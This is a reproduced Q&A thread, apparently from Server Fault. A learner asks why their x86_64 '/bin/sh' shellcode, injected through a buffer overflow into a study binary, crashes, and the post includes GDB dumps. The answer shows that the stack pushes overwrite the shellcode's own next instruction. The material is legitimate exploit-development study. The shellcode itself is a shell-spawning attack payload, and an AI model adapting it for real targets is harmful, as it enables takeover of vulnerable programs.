Warm tip: This article is reproduced from serverfault.com, please click

Why does the program catch SIGSEGV on push instructions?

发布于 2020-11-30 15:46:50

A simple x86_64 shellcode is written:

BITS 64
xor rax, rax
push rax
push 0x68732f6e
push 0x69622f2f
mov rbx, rsp
push rax
mov rdx, rsp
push rbx
mov rcx, rsp
mov al, 221
int 0x80

Through a buffer overflow, the shellcode was sent to the processor. Everything goes well until the 3rd instruction from the end (push rbx) is executed. Then the program catches SIGSEGV and never reaches the cherished interrupt - int 0x80. I thought maybe the stack was overflowing, I inserted several pop instructions at the beginning of the shellcode. As a result, SIGSEGV was changed to SIGILL on the same instruction - push rbx. There are no ideas at all. GDB:

=> 0x7fffffffea72:  mov    rdx,rsp
   0x7fffffffea75:  push   rbx
   0x7fffffffea76:  mov    rcx,rsp
   0x7fffffffea79:  mov    al,0xdd
   0x7fffffffea7b:  int    0x80
   0x7fffffffea7d:  (bad)  
   0x7fffffffea7e:  (bad)  
   0x7fffffffea7f:  inc    DWORD PTR [rax]
-----------------------------------------------------------------------------------------------------------------------------
0x00007fffffffea72 in ?? ()
gdb$ n
-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0x0000000000000000  RBX: 0x00007FFFFFFFEA88  RBP: 0xFFFFFFFFFFFFFFFF  RSP: 0x00007FFFFFFFEA80  o d I t s Z a P c 
  RDI: 0x00007FFFFFFFEA60  RSI: 0x0000555555556021  RDX: 0x00007FFFFFFFEA80  RCX: 0x60FFFFFFFFFFFFFF  RIP: 0x00007FFFFFFFEA75
  R8 : 0x0000000000000000  R9 : 0x00007FFFF7FE14C0  R10: 0xFFFFFFFFFFFFF8F5  R11: 0x00007FFFF7E54B60  R12: 0x0000555555555060
  R13: 0x0000000000000000  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0033  DS: 0000  ES: 0000  FS: 0000  GS: 0000  SS: 002B                
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0x7fffffffea75:  push   rbx
   0x7fffffffea76:  mov    rcx,rsp
   0x7fffffffea79:  mov    al,0xdd
   0x7fffffffea7b:  int    0x80
   0x7fffffffea7d:  (bad)  
   0x7fffffffea7e:  (bad)  
   0x7fffffffea7f:  inc    DWORD PTR [rax]
   0x7fffffffea81:  add    BYTE PTR [rax],al
-----------------------------------------------------------------------------------------------------------------------------
0x00007fffffffea75 in ?? ()
gdb$ n

Program received signal SIGSEGV, Segmentation fault.
-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0x0000000000000000  RBX: 0x00007FFFFFFFEA88  RBP: 0xFFFFFFFFFFFFFFFF  RSP: 0x00007FFFFFFFEA78  o d I t s Z a P c 
  RDI: 0x00007FFFFFFFEA60  RSI: 0x0000555555556021  RDX: 0x00007FFFFFFFEA80  RCX: 0x60FFFFFFFFFFFFFF  RIP: 0x00007FFFFFFFEA76
  R8 : 0x0000000000000000  R9 : 0x00007FFFF7FE14C0  R10: 0xFFFFFFFFFFFFF8F5  R11: 0x00007FFFF7E54B60  R12: 0x0000555555555060
  R13: 0x0000000000000000  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0033  DS: 0000  ES: 0000  FS: 0000  GS: 0000  SS: 002B

info proc mappings:

gdb$ info proc mappings
process 3025
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
      0x555555554000     0x555555555000     0x1000        0x0 /home/yagur/Hacking.exploits.study/exploits/buffer_overflow.bin
      0x555555555000     0x555555556000     0x1000     0x1000 /home/yagur/Hacking.exploits.study/exploits/buffer_overflow.bin
      0x555555556000     0x555555557000     0x1000     0x2000 /home/yagur/Hacking.exploits.study/exploits/buffer_overflow.bin
      0x555555557000     0x555555558000     0x1000     0x2000 /home/yagur/Hacking.exploits.study/exploits/buffer_overflow.bin
      0x555555558000     0x555555559000     0x1000     0x3000 /home/yagur/Hacking.exploits.study/exploits/buffer_overflow.bin
      0x7ffff7dbb000     0x7ffff7dbd000     0x2000        0x0 
      0x7ffff7dbd000     0x7ffff7de3000    0x26000        0x0 /usr/lib/libc-2.32.so
      0x7ffff7de3000     0x7ffff7f30000   0x14d000    0x26000 /usr/lib/libc-2.32.so
      0x7ffff7f30000     0x7ffff7f7c000    0x4c000   0x173000 /usr/lib/libc-2.32.so
      0x7ffff7f7c000     0x7ffff7f7f000     0x3000   0x1be000 /usr/lib/libc-2.32.so
      0x7ffff7f7f000     0x7ffff7f82000     0x3000   0x1c1000 /usr/lib/libc-2.32.so
      0x7ffff7f82000     0x7ffff7f88000     0x6000        0x0 
      0x7ffff7fca000     0x7ffff7fce000     0x4000        0x0 [vvar]
      0x7ffff7fce000     0x7ffff7fd0000     0x2000        0x0 [vdso]
      0x7ffff7fd0000     0x7ffff7fd2000     0x2000        0x0 /usr/lib/ld-2.32.so
      0x7ffff7fd2000     0x7ffff7ff3000    0x21000     0x2000 /usr/lib/ld-2.32.so
      0x7ffff7ff3000     0x7ffff7ffc000     0x9000    0x23000 /usr/lib/ld-2.32.so
      0x7ffff7ffc000     0x7ffff7ffd000     0x1000    0x2b000 /usr/lib/ld-2.32.so
      0x7ffff7ffd000     0x7ffff7fff000     0x2000    0x2c000 /usr/lib/ld-2.32.so
      0x7ffffffde000     0x7ffffffff000    0x21000        0x0 [stack]
  0xffffffffff600000 0xffffffffff601000     0x1000        0x0 [vsyscall]
gdb$ 
New question: Changed the shellcode to the following:
BITS 64
pop rax
pop rax
pop rax
pop rax
xor rax, rax
push rax
push 0x68732f6e
push 0x69622f2f
mov rbx, rsp
push rax
mov rdx, rsp
push rbx
mov rcx, rsp
mov al, 221
int 0x80

By doing this, I prevent my shellcode from being overwritten. As a result:

gdb$ ni
--------------------------------------------------------------------------
---------------------------------------------[regs]
  RAX: 0x0000000000000000  RBX: 0x00007FFFFFFFEAA8  RBP: 0xFFFFFFFFFFFFFFFF  RSP:
 0x00007FFFFFFFEAA0  o d I t s Z a P c 
  RDI: 0x00007FFFFFFFEA60  RSI: 0x0000555555556021  RDX: 0x00007FFFFFFFEAA0  RCX:
 0x60FFFFFFFFFFFFFF  RIP: 0x00007FFFFFFFEA79
  R8 : 0x0000000000000000  R9 : 0x00007FFFF7FE14C0  R10: 0xFFFFFFFFFFFFF8F5  R11:
 0x00007FFFF7E54B60  R12: 0x0000555555555060
  R13: 0x0000000000000000  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0033  DS: 0000  ES: 0000  FS: 0000  GS: 0000  SS: 002B
                
--------------------------------------------------------------------------
---------------------------------------------[code]
=> 0x7fffffffea79:  push   rbx
   0x7fffffffea7a:  mov    rcx,rsp
   0x7fffffffea7d:  mov    al,0xdd
   0x7fffffffea7f:  int    0x80
   0x7fffffffea81:  (bad)  
   0x7fffffffea82:  (bad)  
   0x7fffffffea83:  (bad)  
   0x7fffffffea84:  (bad)  
--------------------------------------------------------------------------------
---------------------------------------------
0x00007fffffffea79 in ?? ()
gdb$ ni

Program received signal SIGILL, Illegal instruction.
--------------------------------------------------------------------------
---------------------------------------------[regs]
  RAX: 0xFFFFFFFFFFFFFFF7  RBX: 0x00007FFFFFFFEAA8  RBP: 0xFFFFFFFFFFFFFFFF  RSP:
 0x00007FFFFFFFEA98  o d I t s Z a P c 
  RDI: 0x00007FFFFFFFEA60  RSI: 0x0000555555556021  RDX: 0x00007FFFFFFFEAA0  RCX:
 0x00007FFFFFFFEA98  RIP: 0x00007FFFFFFFEA81
  R8 : 0x0000000000000000  R9 : 0x00007FFFF7FE14C0  R10: 0xFFFFFFFFFFFFF8F5  R11:
 0x00007FFFF7E54B60  R12: 0x0000555555555060
  R13: 0x0000000000000000  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0033  DS: 0000  ES: 0000  FS: 0000  GS: 0000  SS: 002B
                
--------------------------------------------------------------------------
---------------------------------------------[code]
=> 0x7fffffffea81:  (bad)  
   0x7fffffffea82:  (bad)  
   0x7fffffffea83:  (bad)  
   0x7fffffffea84:  (bad)  
   0x7fffffffea85:  (bad)  
   0x7fffffffea86:  (bad)  
   0x7fffffffea87:  (bad)  
   0x7fffffffea88:  (bad)  
--------------------------------------------------------------------------------
---------------------------------------------
0x00007fffffffea81 in ?? ()
gdb$ 
Questioner
Станислав Тимошко
Viewed
0
Nate Eldredge 2020-12-01 04:34:15

Two issues.

First, you're using the n GDB command, which is supposed to step to the next source line, which may be many instructions away. (And when you're executing code that's not part of the binary, line numbers don't make sense anyway and n will not work reliably.) You want to be using ni instead, or better yet si which will always execute exactly one instruction without trying to step over subroutine calls and the like.

Indeed, note the value of RIP in the register dump after the segfault. It's not the address of your push rbx, so that's not the instruction that faulted; rather, it's the following instruction, which you had meant to be mov rcx, rsp.

How can a simple register move cause a segfault? Because it's not a register move anymore - you just overwrote it. Compare the values of RSP and RIP. You're executing code from the stack, and your push rbx stored to address 0x00007FFFFFFFEA78, while the mov rcx, rsp is a three-byte instruction starting at 0x7fffffffea76. So you just overwrote its third byte. If you do another disassemble or x/i $rip at this point, you'll see the instruction you ended up executing instead - I bet it accesses memory.

Indeed, mov rcx, rsp is encoded as 48 89 e1. The low byte of rbx is 0x88, and overwriting the third byte with 88 produces 48 89 88 xx xx xx xx which is mov [rax+disp], rcx.